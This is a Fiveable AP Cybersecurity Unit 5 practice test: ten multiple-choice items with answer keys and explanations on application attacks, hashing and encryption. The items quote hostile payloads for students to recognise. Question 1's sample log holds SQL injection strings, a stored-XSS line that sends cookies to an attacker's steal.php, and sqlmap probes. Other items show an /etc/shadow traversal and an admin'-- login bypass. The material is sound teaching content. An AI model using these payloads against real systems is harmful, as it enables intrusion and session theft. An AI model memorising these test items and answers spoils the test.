--- title: "AP Cybersecurity Unit 5 Practice Test" description: "A timed AP Cybersecurity Unit 5 (Securing Applications and Data) practice test in the AP format, drawn from 575 multiple-choice questions written for the unit. The standard version takes about 27 minutes." canonical: "https://fiveable.me/ap-cybersecurity/unit-test/5" type: "unit-test" subject: "AP Cybersecurity" unit: "Unit 5" --- # AP Cybersecurity Unit 5 Practice Test ## Overview A timed AP Cybersecurity Unit 5 (Securing Applications and Data) practice test in the AP format, drawn from 575 multiple-choice questions written for the unit. The standard version takes about 27 minutes. ## Test Format - 20 Multiple Choice Questions (27 minutes) ## Practice Questions ### Question 1 **Web Application Access Log — Suspected Injection and XSS Activity** > # /var/log/nginx/webapp_access.log — Host: web01.intranet.meridianfin.local > # Format: [timestamp] CLIENT_IP "REQUEST" STATUS BYTES "REFERRER" "USER-AGENT" > > 1 [2024-11-14 08:42:11] 198.51.100.47 "GET /login.php HTTP/1.1" 200 4821 "-" "Mozilla/5.0" > 2 [2024-11-14 08:42:34] 198.51.100.47 "POST /login.php HTTP/1.1" 302 512 "-" "Mozilla/5.0" > 3 [2024-11-14 08:43:01] 198.51.100.47 "GET /dashboard.php?user=jsmith HTTP/1.1" 200 9340 "-" "Mozilla/5.0" > 4 [2024-11-14 08:44:17] 198.51.100.47 "GET /report.php?id=1 HTTP/1.1" 200 3201 "-" "Mozilla/5.0" > 5 [2024-11-14 08:44:52] 198.51.100.47 "GET /report.php?id=1'+OR+'1'='1 HTTP/1.1" 200 87643 "-" "Mozilla/5.0" > 6 [2024-11-14 08:45:03] 198.51.100.47 "GET /report.php?id=1';+DROP+TABLE+accounts;-- HTTP/1.1" 500 1102 "-" "Mozilla/5.0" > 7 [2024-11-14 08:45:29] 198.51.100.47 "GET /report.php?id=1'+UNION+SELECT+username,password,NULL+FROM+users;-- HTTP/1.1" 200 54210 "-" "Mozilla/5.0" > 8 [2024-11-14 08:47:05] 198.51.100.47 "POST /feedback.php HTTP/1.1" 200 2048 "-" "Mozilla/5.0" > # POST body: comment=Great+site!%3Cscript%3Edocument.location%3D'http%3A%2F%2F198.51.100.47%2Fsteal.php%3Fc%3D'%2Bdocument.cookie%3C%2Fscript%3E > 9 [2024-11-14 08:48:44] 192.168.10.22 "GET /feedback.php HTTP/1.1" 200 3310 "-" "Mozilla/5.0" > 10 [2024-11-14 08:48:44] 192.168.10.22 "GET /steal.php?c=SESSID%3Dabc123xyz HTTP/1.1" 200 88 "http://web01.intranet.meridianfin.local/feedback.php" "Mozilla/5.0" > 11 [2024-11-14 08:49:01] 192.168.10.35 "GET /feedback.php HTTP/1.1" 200 3310 "-" "Mozilla/5.0" > 12 [2024-11-14 08:49:01] 192.168.10.35 "GET /steal.php?c=SESSID%3Ddef456uvw HTTP/1.1" 200 88 "http://web01.intranet.meridianfin.local/feedback.php" "Mozilla/5.0" > 13 [2024-11-14 08:51:18] 203.0.113.9 "GET /admin/config.php HTTP/1.1" 403 291 "-" "sqlmap/1.0" > 14 [2024-11-14 08:52:00] 203.0.113.9 "GET /report.php?id=1+AND+SLEEP(5)-- HTTP/1.1" 200 3201 "-" "sqlmap/1.0" Based on the sequence of events between lines 8 and 12, how does the attacker successfully compromise user sessions? - (A) By injecting a script that forces subsequent visitors to transmit their session identifiers. - (B) By exploiting a database flaw to extract stored authentication credentials from the server. - (C) By utilizing an automated vulnerability scanner to bypass administrative endpoint access controls. - (D) By manipulating URL parameters to redirect authenticated users to an external malicious domain. **Answer: (A)** Analysis of lines 8 through 12 reveals a Stored Cross-Site Scripting (XSS) attack. Line 8 shows the attacker injecting a JavaScript payload via a POST request to feedback.php. Lines 9-12 demonstrate the payload executing when subsequent users (192.168.10.22 and 192.168.10.35) visit the page, causing their browsers to send their session cookies (SESSID) to the attacker's steal.php endpoint. Option B describes the SQL injection in line 7. Option C describes the automated scanning in line 13. Option D incorrectly identifies URL parameter manipulation as the vector, whereas the payload was delivered via a POST body. ### Question 2 A security analyst hashes a critical configuration file on Monday and records the digest `a3f8c2...`. On Friday, she hashes the same file again and gets `a3f8c2...`. What does this result indicate about the file? - (A) The file was not altered between Monday and Friday because both hash digests are identical - (B) The file was not altered, but an attacker may have viewed its contents without detection - (C) The file was altered between Monday and Friday but the hash algorithm failed to detect the change - (D) The file was encrypted between Monday and Friday, which preserved the original hash value **Answer: (A)** Recognizing that cryptographic hash functions are deterministic: the same input always produces the same output. Because both digests match exactly, the file's contents did not change between the two hash operations, confirming its integrity. ### Question 3 A systems administrator runs `sha256sum payroll.db` on a Linux server immediately after a suspected intrusion and gets a digest that differs from the digest recorded two weeks earlier. Which conclusion is best supported by this evidence? - (A) The file `payroll.db` was modified after the earlier hash was recorded and before the current hash was generated - (B) The file `payroll.db` was copied to another location after the earlier hash was recorded and before the current hash was generated - (C) The SHA256 algorithm produced a collision, generating two different digests for the same file contents - (D) The file `payroll.db` was viewed by an unauthorized user after the earlier hash was recorded and before the current hash was generated **Answer: (A)** Applying the core property of hash functions: a changed digest means the input changed. Because the two SHA256 outputs differ, the file's contents were altered at some point between the two hash operations, which aligns with the suspected intrusion timeline. ### Question 4 A security team wants to verify the integrity of a sensitive database file on a Windows server using built-in tools. A team member opens Windows PowerShell and types `Get-FileHash database.db -Algorithm SHA256`. The output digest matches the digest recorded before a maintenance window. Which layered security conclusion does this verification support? - (A) Hash verification confirms the file was not altered during the maintenance window, adding an integrity check layer alongside access controls - (B) Hash verification confirms no unauthorized user accessed the file during the maintenance window, replacing the need for access control logs - (C) Hash verification confirms the file was not altered during the maintenance window, eliminating the need for any additional detective controls - (D) Hash verification confirms the file was encrypted correctly during the maintenance window, adding a confidentiality layer alongside access controls **Answer: (A)** Running `Get-FileHash` and comparing digests is the correct Windows PowerShell method for SHA256 hash verification. A matching digest confirms the file's contents are unchanged, and using this check alongside access controls (such as permissions and logging) exemplifies layered security by adding a detective integrity layer to existing preventive controls. ### Question 5 A security engineer is designing a layered detection strategy for a financial institution's most sensitive data files. She proposes hashing each file weekly and comparing digests to detect tampering, but her manager notes a significant gap in this approach. Which scenario would the hash-based control fail to detect, and what additional control would best address that gap? - (A) An attacker who copies sensitive files without modifying them; adding accounting logs that record file access events would address this gap - (B) An attacker who modifies sensitive files by altering their content; adding version control systems that track all file modifications would address this gap - (C) An attacker who copies sensitive files without modifying them; adding encryption at rest that prevents unauthorized file access would address this gap - (D) An attacker who copies sensitive files without modifying them; adding checksums that verify file integrity after each access would address this gap **Answer: (A)** Cryptographic hashes only detect changes to file contents. An adversary who reads or copies a file without altering it leaves the digest unchanged, creating a false negative. Accounting logs that record who accessed which files and when would detect this data theft scenario, layering a complementary detective control over the hash-based integrity check. ### Question 6 A security analyst reviewing server logs notices repeated HTTP GET requests containing the string `../../../etc/shadow` in the URL path. Which attack technique do these log entries indicate, and what is the adversary attempting to accomplish? - (A) Directory traversal, navigating outside the web root to access sensitive system credential files on the server - (B) SQL injection, embedding database commands into HTTP requests to extract credential records from a backend database - (C) Buffer overflow, sending oversized GET requests to overwrite adjacent server memory and execute unauthorized code - (D) Reflected cross site scripting, injecting malicious scripts into GET request parameters that execute in visiting users' browsers **Answer: (A)** Recognizing the `..` sequences in a URL as directory traversal indicators connects the log evidence to the attack. Each `..` moves one directory level up the filesystem, and three consecutive `..` sequences walk from the web directory to the root, where the adversary targets the `shadow` file containing hashed system passwords—a confidentiality breach. ### Question 7 An intrusion detection system flags a login form submission where the username field contains the value `admin'--`. A security analyst must explain what vulnerability this input exploits and what the adversary gains if the attack succeeds. - (A) Unvalidated input enables SQL injection, allowing the adversary to bypass authentication and access the database without valid credentials - (B) Unvalidated input enables a buffer overflow, allowing the adversary to overwrite adjacent memory and execute arbitrary code on the server - (C) Unvalidated input enables stored cross site scripting, allowing the adversary to inject persistent malicious scripts affecting all future visitors - (D) Unvalidated input enables directory traversal, allowing the adversary to navigate the server filesystem and retrieve sensitive configuration files **Answer: (A)** Connecting the single quote and double-dash characters to SQL syntax reveals the attack: the quote closes the username string in the query, and `--` comments out the password check, making the condition always true. This exploits the application's failure to validate or sanitize input before passing it to the database, granting unauthorized access—a confidentiality breach. ### Question 8 A security team monitoring a popular forum discovers that a post in the help section contains the text ``. Every user who views that forum thread has their session data silently sent to an external server. Which attack type does this represent, and why does it affect multiple victims rather than just one? - (A) Type II stored cross site scripting, because the malicious script is saved on the server and executes in every visitor's browser when they load the page - (B) Type I reflected cross site scripting, because the malicious script is embedded in a crafted link sent individually to each targeted victim - (C) SQL injection, because the script tag syntax manipulates the forum's database query to return session data for all registered users - (D) Directory traversal, because the script navigates the server's file structure to collect and transmit session files stored on the server **Answer: (A)** Identifying the script as persistent content saved in a forum post distinguishes this from a link-based attack. Because the malicious JavaScript is stored on the server inside the forum thread, every user whose browser renders that page automatically executes the script, sending their session cookies to the attacker—a confidentiality breach affecting all visitors, not just one targeted individual. ### Question 9 A developer is testing a legacy network application and discovers that entering a string of 500 characters into a field designed to accept a 50-character username causes the application to crash and briefly execute a function that was never called during normal operation. Which vulnerability does this behavior reveal, and what is the most serious potential consequence beyond a system crash? - (A) Buffer overflow, where excess input overwrites adjacent memory and can allow an adversary to execute unauthorized code on the system - (B) SQL injection, where excess input embeds database commands that cause the application to query and expose unintended backend records - (C) Directory traversal, where excess input navigates the filesystem and causes the application to open and execute restricted server files - (D) Reflected cross site scripting, where excess input injects scripts that run in other users' browsers and expose their stored credentials **Answer: (A)** Recognizing that input far exceeding the allocated buffer size causes memory corruption identifies the buffer overflow vulnerability. When the 500-character input overflows the 50-character buffer, it overwrites adjacent memory locations—including function pointers—which explains why an unintended function executes. An adversary who crafts this overflow deliberately can inject and run their own code, gaining unauthorized control of the system beyond simply crashing it. ### Question 10 A hospital stores patient medical records as unencrypted files on a shared network drive. An adversary who gains access to the network can open and read these files without any additional tools. Which security control would most directly prevent the adversary from reading the file contents even after gaining drive access? - (A) Encrypting the files at rest so contents are unreadable without the decryption key - (B) Requiring multi-factor authentication so only authorized users can log into the network - (C) Installing intrusion detection software to alert administrators when files are opened - (D) Configuring a firewall to block external connections to the hospital's internal network **Answer: (A)** Recognizing that encryption at rest addresses the specific vulnerability described. Even if an adversary accesses the drive, encrypted files appear as unreadable gibberish without the correct key, directly mitigating the risk of unauthorized disclosure. ## Review the Unit - [5.1 Application and Data Vulnerabilities and Attacks](/ap-cybersecurity/unit-5/application-and-data-vulnerabilities-and-attacks/study-guide/T25I7qaDw4w4XT1rkAYr) - [5.2 Protecting Applications and Data: Managerial Controls and Access Controls](/ap-cybersecurity/unit-5/protecting-applications-and-data-managerial-controls-and-access-controls/study-guide/tZFME9LjYUHiIc9fHQE2) - [5.3 Protecting Stored Data with Cryptography](/ap-cybersecurity/unit-5/protecting-stored-data-with-cryptography/study-guide/pVI6SOT7HBVhSMIqKTXG) - [5.4 Asymmetric Cryptography](/ap-cybersecurity/unit-5/asymmetric-cryptography/study-guide/VwtcdE1OgUXoQu0fiDG2) - [5.5 Protecting Applications](/ap-cybersecurity/unit-5/protecting-applications/study-guide/NlU1CUWEo8RNupZqXUMH) - [5.6 Detecting Attacks on Data and Applications](/ap-cybersecurity/unit-5/detecting-attacks-on-data-and-applications/study-guide/sHDJEWboTNQbNsGPNiq5) ## Other Unit Tests - [Unit 1: Introduction to Security](/ap-cybersecurity/unit-test/1) - [Unit 2: Securing Spaces](/ap-cybersecurity/unit-test/2) - [Unit 3: Securing Networks](/ap-cybersecurity/unit-test/3) - [Unit 4: Securing Devices](/ap-cybersecurity/unit-test/4) ## About This Document Canonical Fiveable pages are available as Markdown at the same path plus `.md`. - [llms.txt](https://fiveable.me/llms.txt): index of Fiveable's sections and URL patterns - [llms-full.txt](https://fiveable.me/llms-full.txt): complete subject and unit listing - [MCP server](https://fiveable.me/mcp): call Fiveable as tools instead of fetching pages (`https://fiveable.me/api/mcp`) - [MCP server for AP teachers](https://fiveable.me/mcp/teachers): a teacher's classes, assignments and AP-rubric grading (`https://fiveable.me/api/mcp/teacher`)